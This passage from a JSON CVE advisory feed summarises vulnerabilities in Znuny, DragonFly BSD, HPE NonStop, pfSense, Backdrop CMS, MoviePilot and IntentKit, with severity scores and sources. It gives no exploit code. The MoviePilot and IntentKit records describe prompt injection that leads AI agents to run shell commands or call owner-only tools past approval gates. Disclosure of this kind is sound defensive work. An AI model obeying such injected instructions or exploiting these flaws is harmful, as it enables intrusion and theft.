record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-3712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-3712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93484","cveId":"CVE-2026-93484","aliases":[],"kind":"vulnerability","title":"Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement.","summary":"Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement. This lack of proper sanitization or the use of parameterized queries allows an attacker to inject arbitrary SQL commands, leading to data theft, modification, or denial of service. Specifically this is in Kernel::System::Ticket::TicketSearch and Kernel::System::Ticket::ArticleSearchIndex::DB via the ContentSearch parameter. The parameter is expected to be either \"AND\" or \"OR\", but its value was concatenated directly into the generated SQL query without validation.","detail":"Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement. This lack of proper sanitization or the use of parameterized queries allows an attacker to inject arbitrary SQL commands, leading to data theft, modification, or denial of service. Specifically this is in Kernel::System::Ticket::TicketSearch and Kernel::System::Ticket::ArticleSearchIndex::DB via the ContentSearch parameter. The parameter is expected to be either \"AND\" or \"OR\", but its value was concatenated directly into the generated SQL query without validation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T04:18:30.373Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93484","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.003,"percentile":0.22502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93484&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93484","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93484","type":"primary","publishedAt":"2026-10-15T04:18:30.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93484&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93484, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110912","cveId":"CVE-2026-110912","aliases":[],"kind":"vulnerability","title":"In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and...","summary":"In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and protocol address length (ar_pln) fields of incoming ARP packets. in_arpreply() then uses these attacker-controlled values as memcpy lengths when copying from kernel buffers that are only 6 and 4 bytes long, resulting in an out-of-bounds read of kernel heap and stack memory that is copied into the ARP reply sent back to the requester. An unauthenticated attacker on the adjacent network can use a single crafted ARP request to disclose up to roughly 250 bytes of each type of kernel memory, including kernel pointers. This is expected to be fixed in the 6.6 stable release when that is available.","detail":"In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and protocol address length (ar_pln) fields of incoming ARP packets. in_arpreply() then uses these attacker-controlled values as memcpy lengths when copying from kernel buffers that are only 6 and 4 bytes long, resulting in an out-of-bounds read of kernel heap and stack memory that is copied into the ARP reply sent back to the requester. An unauthenticated attacker on the adjacent network can use a single crafted ARP request to disclose up to roughly 250 bytes of each type of kernel memory, including kernel pointers. This is expected to be fixed in the 6.6 stable release when that is available.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T04:18:23.010Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110912","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00398,"percentile":0.33793,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110912&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110912","type":"primary","publishedAt":"2026-10-15T04:18:23.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110912&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110912, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76663","cveId":"CVE-2026-76663","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS.","summary":"A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS.","detail":"A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T03:17:11.233Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76663","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00267,"percentile":0.18637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76663","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76663","type":"primary","publishedAt":"2026-10-15T03:17:11.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110908","cveId":"CVE-2026-110908","aliases":[],"kind":"vulnerability","title":"Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter.","summary":"Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter. An authenticated WebGUI user with only the page-status-frr privilege can supply a filter value that breaks out of a single-quoted sed expression into which escapeshellarg() output is concatenated. Shell command substitution is then evaluated by a popen() pipeline, allowing attacker-selected commands to execute as root. There are updated FRR packages for pfSense Plus 26.07/26.03.1 and CE 2.9.0/2.8.1.","detail":"Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter. An authenticated WebGUI user with only the page-status-frr privilege can supply a filter value that breaks out of a single-quoted sed expression into which escapeshellarg() output is concatenated. Shell command substitution is then evaluated by a popen() pipeline, allowing attacker-selected commands to execute as root. There are updated FRR packages for pfSense Plus 26.07/26.03.1 and CE 2.9.0/2.8.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T03:17:10.797Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":["pfSense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110908","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.06084,"percentile":0.9336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110908","type":"primary","publishedAt":"2026-10-15T03:17:10.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110908, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110907","cveId":"CVE-2026-110907","aliases":[],"kind":"vulnerability","title":"Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens.","summary":"Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens. A token is a small placeholder string (like [node:title] or [user:name]) used to automatically insert dynamic data into text. A browser is provided for selecting tokens by type. The product doesn't sufficiently limit access to the types of tokens that are available in the token browser. The names of the individual tokens are adequately protected.","detail":"Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens. A token is a small placeholder string (like [node:title] or [user:name]) used to automatically insert dynamic data into text. A browser is provided for selecting tokens by type. The product doesn't sufficiently limit access to the types of tokens that are available in the token browser. The names of the individual tokens are adequately protected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T03:17:10.640Z","updatedAt":"2026-10-19T19:17:22.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110907","asOf":"2026-10-19T19:17:22.750Z"},"epss":{"probability":0.00335,"percentile":0.26644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110907","type":"primary","publishedAt":"2026-10-15T03:17:10.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110907, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77931","cveId":"CVE-2026-77931","aliases":[],"kind":"vulnerability","title":"MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content...","summary":"MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content processed through tools like browse_webpage, search_web, and torrent metadata parsers, which then get passed to the unrestricted ExecuteCommandTool via asyncio.create_subprocess_shell. Attackers can craft content that instructs the model to invoke execute_command with confirm_dangerous set to true, bypassing the validate_command_safety denylist and exploiting the admin session's is_admin context to achieve remote code execution on the host.","detail":"MoviePilot through 3.1.5 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by embedding malicious instructions in untrusted content processed through tools like browse_webpage, search_web, and torrent metadata parsers, which then get passed to the unrestricted ExecuteCommandTool via asyncio.create_subprocess_shell. Attackers can craft content that instructs the model to invoke execute_command with confirm_dangerous set to true, bypassing the validate_command_safety denylist and exploiting the admin session's is_admin context to achieve remote code execution on the host.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:20:16.277Z","updatedAt":"2026-10-26T16:17:22.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77931","asOf":"2026-10-26T16:17:22.830Z"},"epss":{"probability":0.01004,"percentile":0.62714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77931","type":"primary","publishedAt":"2026-10-15T02:20:16.277Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76661","cveId":"CVE-2026-76661","aliases":[],"kind":"vulnerability","title":"A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data.","summary":"A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data.","detail":"A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:20:16.153Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76661","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00178,"percentile":0.07295,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76661","type":"primary","publishedAt":"2026-10-15T02:20:16.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76660","cveId":"CVE-2026-76660","aliases":[],"kind":"vulnerability","title":"A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds\n  write that can corrupt buffer data.","summary":"A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds\n  write that can corrupt buffer data.","detail":"A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds\n  write that can corrupt buffer data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:20:16.020Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76660","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00114,"percentile":0.01506,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76660","type":"primary","publishedAt":"2026-10-15T02:20:16.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76659","cveId":"CVE-2026-76659","aliases":[],"kind":"vulnerability","title":"A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service.","summary":"A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service.","detail":"A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:20:15.897Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76659","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00305,"percentile":0.23089,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76659","type":"primary","publishedAt":"2026-10-15T02:20:15.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76066","cveId":"CVE-2026-76066","aliases":[],"kind":"vulnerability","title":"IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than...","summary":"IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than the per-request narrowed tool advertisement enforced by ToolBindingMiddleware, allowing owner-only state-changing tools such as wallet transfer, posting, memory-write, and call-agent to execute without any human-in-the-loop or approval gate. An unauthenticated or public caller in WEB, API, TWITTER, or TELEGRAM contexts can exploit this by supplying the exact de-advertised tool name and arguments via indirect prompt injection or by replaying checkpoint and history data on a reused thread, achieving unauthorized execution of owner-restricted capabilities.","detail":"IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than the per-request narrowed tool advertisement enforced by ToolBindingMiddleware, allowing owner-only state-changing tools such as wallet transfer, posting, memory-write, and call-agent to execute without any human-in-the-loop or approval gate. An unauthenticated or public caller in WEB, API, TWITTER, or TELEGRAM contexts can exploit this by supplying the exact de-advertised tool name and arguments via indirect prompt injection or by replaying checkpoint and history data on a reused thread, achieving unauthorized execution of owner-restricted capabilities.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T02:20:15.603Z","updatedAt":"2026-10-22T17:17:00.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76066","asOf":"2026-10-22T17:17:00.093Z"},"epss":{"probability":0.00441,"percentile":0.38069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76066","type":"primary","publishedAt":"2026-10-15T02:20:15.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 